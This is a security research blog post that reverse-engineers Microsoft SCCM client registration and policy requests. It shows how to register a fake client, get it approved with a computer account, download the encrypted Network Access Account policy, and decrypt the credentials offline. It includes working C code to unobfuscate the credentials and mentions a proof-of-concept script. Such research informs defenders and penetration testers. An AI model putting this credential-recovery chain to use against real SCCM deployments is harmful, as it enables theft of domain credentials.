Exploring SCCM by Unobfuscating Network Access Accounts
Configuration Manager (or SCCM as it will forever be known) has recently had a spike in researcher popularity, with posts coming from the community around coercion of authentication from Chris Thompson (@_Mayyhem) and retrieving Network Access Accounts via DPAPI from Duane Michael (@subatOmik).
One of the things that caught my attention while reading these posts was just how much I didn’t understand about the technologies underpinning SCCM, and how things actually work beneath the surface of these systems.
After a bit of digging, reversing and debugging, I wanted to share a few of the areas that I found interesting. So in this post we’ll explore just how SCCM uses its HTTP API to initialise a client. We will also take a look at how Network Access Accounts are retrieved from SCCM, and how we can decrypt these credentials without having to go anywhere near DPAPI or an Administrator account.
Lab Setup
For our lab setup, we’re going to use a default SCCM deployment. The easiest way I’ve found to do this is via Automated Lab which supports installation via the ConfigurationManager
role:
Add-LabMachineDefinition -Name SCCM01 -Memory 4GB -Roles ConfigurationManager -OperatingSystem 'Windows Server 2019 Standard Evaluation (Desktop Experience)' -Network "lab.local" -DomainName lab.local
The version we’ll be using for this post is Configuration Manager 2103 and we’ll be naming our primary site as P01
. The server for this lab will be called SCCM01
and we’ll configure to use HTTP for communication.
Once setup of the SCCM server is complete, we’ll leave everything as standard and add in a Network Access Account for later:
And with that done, we can move on to exploring this beast!
Client Registration
Let’s begin by looking at the request generated when a client attempts to register with SCCM. To do this let’s use @_Mayyhem awesome SharpSCCM tool via:
SharpSCCM.exe SCCM01 P01 invoke client-push -t 192.168.130.90
As SharpSCCM calls into the actual .NET client libraries, we get a nice clean request which we can identify with WireShark. Here we see the initial step that a client takes to register itself with the SCCM server:
This HTTP request is sent to the SCCM server and is made up of two parts, those being an XML encoded header and an XML encoded body sent in a multipart/mixed
HTTP request. Interestingly the protocol also uses a HTTP method of CCM_POST
.
The header is UTF-16
encoded and looks like this:
<Msg ReplyCompression="zlib" SchemaVersion="1.1">
<Body Type="ByteRange" Length="1856" Offset="0" />
<CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
<Hooks>
<Hook3 Name="zlib-compress" />
</Hooks>
<ID>{8A97CAC8-5FB4-433A-90A6-E8F2963C7E0B}</ID>
<Payload Type="inline" />
<Priority>0</Priority>
<Protocol>http</Protocol>
<ReplyMode>Sync</ReplyMode>
<ReplyTo>direct:PROMETHEUS:SccmMessaging</ReplyTo>
<SentTime>2022-07-09T12:22:44Z</SentTime>
<SourceHost>PROMETHEUS</SourceHost>
<TargetAddress>mp:MP_ClientRegistration</TargetAddress>
<TargetEndpoint>MP_ClientRegistration</TargetEndpoint>
<TargetHost>SCCM01</TargetHost>
<Timeout>60000</Timeout>
</Msg>
The body of the request is zlib
compressed and Unicode encoded (without a UTF-16 BOM
, there are a lot of inconsistencies in SCCM as you’ll note going through this post):
<ClientRegistrationRequest>
<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="2022-07-09T12:28:03Z">
<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
<Certificates>
<Signing Encoding="HexBinary" KeyType="1">308202EA308201D...012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC</Signing>
<Encryption Encoding="HexBinary" KeyType="1">308202EA308201D...012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC</Encryption>
</Certificates>
<DiscoveryProperties>
<Property Name="Netbios Name" Value="SCCM01" />
<Property Name="FQ Name" Value="SCCM01" />
<Property Name="Locale ID" Value="2057" />
<Property Name="InternetFlag" Value="0" />
</DiscoveryProperties>
</Data>
<Signature>
<SignatureValue>E41278D8E02099E8C0901209...85E91E1BE132</SignatureValue>
</Signature>
</ClientRegistrationRequest>
I’ve trimmed some of the longer hex string for brevity, but what we see here is the three hex blobs are being sent over to the server along with some initial information about our client.
Let’s dump out the Signing
blob:
cert = bytes.fromhex("308202EA308201D2A00302010202...DD38D6905E7F846EB80EE114EAE37A1CE48722AB012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC")
open("/mnt/c/Users/xpn/Desktop/out.cer", "wb").write(cert)
If we look at this, we actually see that this is a DER encoded certificate:
When generating this certificate, there are two Extended Key Usage OID’s added:
These mark the certificate as SMS Signing Certificate (Self-Signed)
.
So we see that the client certificate is being passed to the SCCM server for later use, but what about that SignatureValue
field? Well let’s fire up dnSpy and dig into the System.ConfigurationManagement.Messaging.dll
assembly which is found in C:\Windows\CCM
on a host with the client installed.
After some hunting we find our answer in Interop.Crypt32.HashAndSignData
:
This shows us that RSA-SHA256
with PKCSv15
padding is being used to sign the XML request body with the RSA
private key associated with the certificate.
One weird thing to note here is that once the signature is generated, the bytes are reversed before being ASCII hex encoded and added to the request ¯\_(ツ)_/¯
.
When the server responds to this client registration request, we again see there is a XML header and body, with the body data being zlib
compressed. Here we see that we are assigned our ClientID
which is a UUID
used throughout our clients communication with the server:
<ClientRegistrationResponse ResponseType="Registration" TimeStamp="2022-07-09T13:56:57Z" Status="1" SMSID="GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166" ApprovalStatus="0"/>
It is worth noting at this stage that this request can be sent to the unauthenticated SCCM URL of http://SCCM01/ccm_system/request
. This is enough to add a client entry to SCCM, however we’ll be in a “Not Approved” status. This status will become important later:
Policy Requests
Once the client is registered, the next stage that the client takes is to retrieve a list of policies. This call is also made to http://SCCM01/ccm_system/request
using the <RequestAssignments>
XML request. Let’s look at the header first, which is again Unicode encoded:
<Msg ReplyCompression="zlib" SchemaVersion="1.1">
<Body Type="ByteRange" Length="748" Offset="0" />
<CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
<Hooks>
<Hook2 Name="clientauth">
<Property Name="AuthSenderMachine">WIBBLE</Property>
<Property Name="PublicKey">0602000000A400005253413100...19302982F4A02BF38F</Property>
<Property Name="ClientIDSignature">7FFFF934E6D7...B95471661</Property>
<Property Name="PayloadSignature">F04286EE1E8C14...18C04C7E23C10</Property>
<Property Name="ClientCapabilities">NonSSL</Property>
<Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property>
</Hook2>
<Hook3 Name="zlib-compress" />
</Hooks>
<ID>{041A35B4-DCEE-4F64-A978-D4D489F47D28}</ID>
<Payload Type="inline" />
<Priority>0</Priority>
<Protocol>http</Protocol>
<ReplyMode>Sync</ReplyMode>
<ReplyTo>direct:WIBBLE:SccmMessaging</ReplyTo>
<SentTime>2022-07-09T12:43:37Z</SentTime>
<SourceID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</SourceID>
<SourceHost>WIBBLE</SourceHost>
<TargetAddress>mp:MP_PolicyManager</TargetAddress>
<TargetEndpoint>MP_PolicyManager</TargetEndpoint>
<TargetHost>sccm01</TargetHost>
<Timeout>60000</Timeout>
</Msg>
Unfortunately this is where things get a bit more complicated. The first bit we need to focus on will be the PublicKey
blob. This is actually just the RSA public key that the client generated earlier for the certificate, however this time it is encoded into a PUBLICKEYBLOB
(documented by Microsoft here).
Next is the ClientIDSignature
. This is the RSA-SHA256
signature that we saw earlier being used to sign the ClientID
, prepended with GUID:
and then converted to Unicode. For example:
clientID = f"GUID:{clientID.upper()}"
clientIDSignature = CryptoTools.sign(key, clientID.encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper()
Finally is the PayloadSignature
, which is the signature of the compressed body which follows.
The body of this request is zlib
compressed and Unicode encoded with information on our client:
<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always">
<Identification>
<Machine>
<ClientID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</ClientID>
<FQDN>wibble.lab.local</FQDN>
<NetBIOSName>WIBBLE</NetBIOSName>
<SID />
</Machine>
<User />
</Identification>
<PolicySource>SMS:PRI</PolicySource>
<Resource ResourceType="Machine" />
<ServerCookie />
</RequestAssignments>
The response to this request is a list of policies available within the XML body:
<ReplyAssignments SchemaVersion="1.00" ReplyType="Full">
<Identification>
<Machine>
<ClientID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</ClientID>
<FQDN>wibble.lab.local</FQDN>
<NetBIOSName>WIBBLE</NetBIOSName>
<SID />
</Machine>
<User />
</Identification>
<PolicySource>SMS:PRI</PolicySource>
<Resource ResourceType="Machine" />
<ServerCookie>2022-07-09 12:13:35.557</ServerCookie>
<Signature>
<Reference PolicyAssignmentID="{d3bbcb63-3674-4a06-8cb7-9fdc6bd11910}">
<SignatureAlgorithm AlgID="32780">1.2.840.113549.1.1.11</SignatureAlgorithm>
<SignatureValue>BE7273D6DD9CF8D412AADA571C807407329B50B795958E4996948214AEFA45CF297D60BAE5CAE6E14562B3C1786ABA12049355542F57300A680A566D32032807291EE2EAFA846073410CC91237D7F480477E268975CECC3D6479B6AA3AAE4AD220ADE9D0E146569B0DD15BAB0BB437759676389ECB1947B8F18DEF8E5231F8D57427D47B0E13C3FC6ABA19E94CB14677A1FBA57BF54EB2F3EBBDFCBFDBCF64D4C94CA347E9643EC182DCA21D59F8C0E52CB0EB76D7AEA1AD07D1CA426EB60B4453058DC17286C7F1F3B17E9E2806945DFBFA84838B4A5763414FB949F793A770359E57F4E122030E39F8A8429308AB65867F076CDAF9B9CC8EF977F387463B53</SignatureValue>
</Reference>
...
<Policy PolicyID="CLIUPG00" PolicyVersion="1.00" PolicyType="Machine" PolicyFlags="192" PolicyPriority="25" PolicyCategory="ClientServicing">
<PolicyLocation PolicyHash="SHA256:AE5D7E211F4CD0A608F1766B1F7775160D96E4223948344AB465535FF12EFFB7">
<![CDATA[http://<mp>/SMS_MP/.sms_pol?CLIUPG00.SHA256:AE5D7E211F4CD0A608F1766B1F7775160D96E4223948344AB465535FF12EFFB7]]>
</PolicyLocation>
</Policy>
</PolicyAssignment>
<PolicyAssignment PolicyAssignmentID="{2de24657-8385-423d-a665-5e6ea0d48577}">
<Condition>
<Expression ExpressionLanguage="WQL" ExpressionType="until-true">
<![CDATA[@root\ccm
SELECT * FROM SMS_Client WHERE ClientVersion >= "4.00.5300.0000"
]]>
</Expression>
</Condition>
<Policy PolicyID="{14898834-da15-4883-a5f6-163c7f51cb44}" PolicyVersion="1.00" PolicyType="Machine" PolicyCategory="UpdateSource" PolicyFlags="16" PolicyPriority="25">
<PolicyLocation PolicyHash="SHA256:D74C9C232340DDD3CF0DBEB9661494F0F7CF4ABCEF442EEDDB3573D039A4A05B" PolicyHashEx="SHA1:BDC41D6E23254D53355A5F03D3527BFFE1278E7E">
<![CDATA[http://<mp>/SMS_MP/.sms_pol?{14898834-da15-4883-a5f6-163c7f51cb44}.1_00]]>
</PolicyLocation>
</Policy>
</PolicyAssignment>
While there is a lot of interesting stuff in here, the area that we are going to focus on for now will be just how Network Access Account’s are shared, because who doesn’t love free credentials during an engagement!
Secret Policies
If you traverse the list of policies we retrieved, you are bound to come upon policies marked as “secret”. One such policy is NAAConfig
, which contain Network Access Accounts:
<Policy PolicyID="{59da9633-0779-40ee-aea9-8493c7a53cf6}" PolicyVersion="2.00" PolicyType="Machine" PolicyCategory="NAAConfig" PolicyFlags="30" PolicyPriority="20">
<PolicyLocation PolicyHash="SHA256:3B4F3170F46137D72339976BE960EA56F74494B06C29D6084E4E16F30A40925D" PolicyHashEx="SHA1:B206D493FC7B521AE2F179422DC7533FD5FDBA0E">
<![CDATA[http://<mp>/SMS_MP/.sms_pol?{59da9633-0779-40ee-aea9-8493c7a53cf6}.2_00]]>
</PolicyLocation>
</Policy>
You may have seen these accounts referenced by @gentilkiwi in his release of a Mimikatz update in 2021, which shows that typically these credentials are found encrypted using DPAPI on a SCCM client:
If however we try and directly download this policy using the URL returned by the RequestAssignments
request, we see that we get an error.
The reason for this is that requests for secret policies need to be authenticated. But as this is SCCM, there is yet another type of authentication that needs to take place.
After some late night hunting, I found a reference to the type of authentication used in a DLL called ccmgencert.dll
on the SCCM server:
These headers are actually pretty straight forward to create now that we know some of the signing methods used. Looking at clients being added to the SCCM platform, we see that they look like this:
The ClientToken
is just a concatenation of our ClientID
and the current DateTime. The ClientTokenSignature
is the signature of this using the same RSA-SHA256
algorithm above.
Let’s add these headers to our request and see where that get us:
This time we get a different response. I mean we get no error which is good… but we also don’t get any data which isn’t great.
It turns out that for our client to actually request the secret policy, they need to be in an Approved status on the server.
By default SCCM is installed with the following:
So how does a computer automatically approve itself? Well there is another URL used by clients of /ccm_system_windowsauth/request
. If the XML ClientRegistrationRequest
from earlier is sent to this path and completes the NTLMSSP
dance to authenticate a computer account, the client is set to an Approved
status:
Now when authenticating to this URL, it appears that we can use any random domain user account. The issue however is that it doesn’t appear to be enough to force the client into an Approved status. Instead we need to use a computer account (although it doesn’t need to correspond to the client we are attempting to register), so addcomputer.py
is your friend here ;).
By adding this authentication step to our registration request and forcing our client into an Approved status, the next time we make a request for the NAAConfig
policy, we get something that looks like this:
Obviously something isn’t right. A bit more of a review shows that this policy is encrypted.. but how?
Well back into dnSpy we go to try and figure it out. The answer is found in the method Interop.DecryptMessageFromCertificateFile
which shows the use of the CryptDecryptMessage
API call.
The parameters show that this encrypted policy is a PKCS7
encoded blob using 3DES CBC
with the key derived the RSA public key we provided in the certificate earlier.
Decrypted, we finally get a glimpse of some actual credentials, which look like this:
<PolicyAction PolicyActionType="WMI-XML">
<instance class="CCM_NetworkAccessAccount">
<property name="SiteSettingsKey" type="19">
<value>
<![CDATA[1]]>
</value>
</property>
<property name="NetworkAccessUsername" type="8" secret="1">
<value>
<![CDATA[89130000703994099597EDB7733621248D4F9D474995679D1B487564356E34E63FEE0855F34044F494E49A7B140000002000000028000000036600000000000015893849FA928387D5C783FA23676ED8DA6AB4275A31D653F3F5DB6DF860521B9B33AB0CF12669F1]]>
</value>
</property>
<property name="NetworkAccessPassword" type="8" secret="1">
<value>
<![CDATA[891300006EAF8A754B534B691C67C13FFCDA144F864E3357F5639FB97AFE6996346AFC67731CB8A42263758F140000002600000028000000036600000000000072BC4B88AD4836013A83108D80FE3AEF80B90D2E6B39FF92014A51DCD492D7EF9C81E46E1795542E00006C000000]]>
</value>
</property>
<property name="Reserved1" type="8">
<value>
</value>
</property>
<property name="Reserved2" type="8">
<value>
</value>
</property>
<property name="Reserved3" type="8">
<value>
</value>
</property>
</instance>
</PolicyAction>
Great, more encryption… or is it!?
Network Access Account Obfuscation
At first it appears that there is more crypto required to grab these accounts. But MimiKatz has shown us that these credentials end up accessible on the client, so we know that our client has to be able to decrypt these credentials somehow before protecting them with DPAPI… so just what is the key? After a bit more late night hunting for just how this crypto is done, I found a DLL on the client called PolicyAgent.dll
.
Of immediate interest is the debug string:
UnobfuscateString
sounds promising, and certainly sounds better than DecryptString
;). Instead of digging into all the bits of this disassembly (the night was getting long), I cheated and created a quick debugging harness to call the function.
#include <iostream>
#include <string>
#include <Windows.h>
typedef void (*UnobfuscateString)(wchar_t* input, std::string& output);
int main()
{
std::string out;
UnobfuscateString callme;
char* mod = (char*)LoadLibraryA("PolicyAgent.dll");
callme = (UnobfuscateString)(mod+0xd31c);
wchar_t data[] = L"891300008110B139753DD4FA42363BCE86A90039E49DF5FC74F5C8DC9D783C662D008B02D50D832AD4B7C17A1400000022000000280000000366000000000000E5CAF108CA9D560E2A905D0D1975637651D1A9C081A1DACBEA5F400B049546BC97A8CC7EE5CC213D6C00";
callme(data, out);
}
When running on a host unassociated with the SCCM lab network, and while attached to a debugger to step through the inevitable access violations which occur by calling the method in this way, what we see is something very promising:
Yup.. that’s our decrypted username. Is the same true with the password… yes!
So that means that the crypto used is exactly as described, it’s obfuscation! We have all the information we need to decrypt these credentials in the cipher-text itself… and we can do this completely offline!
Recreating the steps of the unobfuscation method, we can create the decryption code that looks like this
#include <iostream>
#include <windows.h>
#include <wincrypt.h>
// https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array
int char2int(char input)
{
if (input >= '0' && input <= '9')
return input - '0';
if (input >= 'A' && input <= 'F')
return input - 'A' + 10;
if (input >= 'a' && input <= 'f')
return input - 'a' + 10;
throw std::invalid_argument("Invalid input string");
}
void hex2bin(const char* src, char* target)
{
while (*src && src[1])
{
*(target++) = char2int(*src) * 16 + char2int(src[1]);
src += 2;
}
}
int main(int argc, char **argv)
{
HCRYPTPROV prov, prov2;
HCRYPTHASH hash;
HCRYPTKEY cryptKey;
BYTE buffer[1024];
if (argc != 2) {
return 1;
}
char *input = argv[1];
// Check the header
if (input[0] != '8' || input[1] != '9') {
return 1;
}
char* output = (char*)malloc(strlen(input) / 2);
if (output == NULL) {
return 1;
}
// Convert to bytes
hex2bin(input, output);
// Get data length
DWORD len = *(DWORD*)(output + 52);
if (len > sizeof(buffer)) {
return 2;
}
// Hash length
memcpy(buffer, output + 64, len);
// Do the "crypto" stuff
CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash);
CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0);
CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);
CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len);
// Output
wprintf(L"%s\n", buffer);
free(buffer);
return 0;
}
Let’s put everything together as I know that is a lot of rambling.. so what do we have? Armed with a computer account, we have the ability to add a fake client to SCCM, download encrypted Network Access Account credentials, and unobfuscate them without having to deal with elevating privileges or any DPAPI decryption.. could be pretty useful.
While exploring this, I cobbled together a very rough Python script which when provided with a few params, should give you a decrypted NAAConfig
policy from your lab where the credentials can be decrypted using the above C script:
The POC code can be found here.
More to come…